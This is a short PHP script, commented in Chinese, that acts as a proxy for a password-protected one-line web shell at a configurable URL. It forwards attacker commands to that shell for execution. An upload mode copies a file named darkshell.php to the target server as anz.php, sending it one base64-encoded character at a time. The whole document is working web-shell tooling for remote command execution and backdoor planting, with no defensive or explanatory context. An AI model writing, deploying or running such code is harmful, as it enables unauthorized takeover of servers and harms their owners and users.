1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php highlight_file(__FILE__); ini_set('max_execution_time', '100'); // 超时时间
$url = 'http://localhost/test/rce.php'; // 一句话地址 $pass = '2'; // 密码 $data = $_POST['cmd']; // 中转密码
echo file_get_contents($url.'?'.$pass.'='.$data);
if(isset($_GET['upload'])){ $f = fopen('darkshell.php','r'); // 上传文件 while (!feof($f)){ $content = base64_encode(fgetc($f)); $exec = "file_put_contents('anz.php',base64_decode('$content'),FILE_APPEND);"; file_get_contents($url.'?'.$pass.'='.$exec); } echo 'File uploaded successfully'; } ?>
|